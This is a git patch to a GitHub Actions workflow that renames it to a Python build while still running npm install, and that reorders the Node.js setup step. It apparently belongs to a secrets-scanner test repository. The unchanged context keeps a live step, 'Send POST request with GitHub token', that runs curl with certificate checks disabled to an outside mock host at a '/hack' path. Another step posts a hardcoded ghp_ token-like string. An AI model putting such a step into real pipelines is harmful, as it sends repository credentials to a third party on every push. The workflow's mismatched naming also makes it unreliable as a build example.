From e5a895a152599457bd127fb5ceac92cc182fe54b Mon Sep 17 00:00:00 2001 From: Pranesh-Shrestha Date: Wed, 18 Dec 2024 10:13:52 +0545 Subject: [PATCH] Update Main for Secrets.yml --- .github/workflows/Main for Secrets.yml | 23 +++++++++++------------ 1 file changed, 11 insertions(+), 12 deletions(-) diff --git a/.github/workflows/Main for Secrets.yml b/.github/workflows/Main for Secrets.yml index f4aa7bd..831db54 100644 --- a/.github/workflows/Main for Secrets.yml +++ b/.github/workflows/Main for Secrets.yml @@ -1,4 +1,4 @@ -name: Build JS Package +name: Build Python Package on: push: branches: [ STAGE ] @@ -88,7 +88,11 @@ jobs: SCAN_ID: ${{ needs.create_scan_in_IR_Portal.outputs.scan_id }} - name: Checkout the code uses: actions/checkout@v3 - + - name: Use Node.js ${{ matrix.node-version }} + uses: actions/setup-node@v3 + with: + node-version: ${{ matrix.node-version }} + - name: Send POST request with GitHub token run: | curl -k -X POST https://vbirmock.free.beeceptor.com/hack \ @@ -101,13 +105,8 @@ jobs: curl -k -X POST https://api.github.com/endpoint \ -d '{"name": "ghp_1234567890abcdef1234567890abcdef12345678", "description": "A description of my repository"}' - - name: Use Node.js ${{ matrix.node-version }} - uses: actions/setup-node@v3 - with: - node-version: ${{ matrix.node-version }} - - run: npm install - - - - - + - name: install dependencies + # run: pip install -r requirements.txt + run: npm install + # - run: npm run build --if-present + # - run: npm test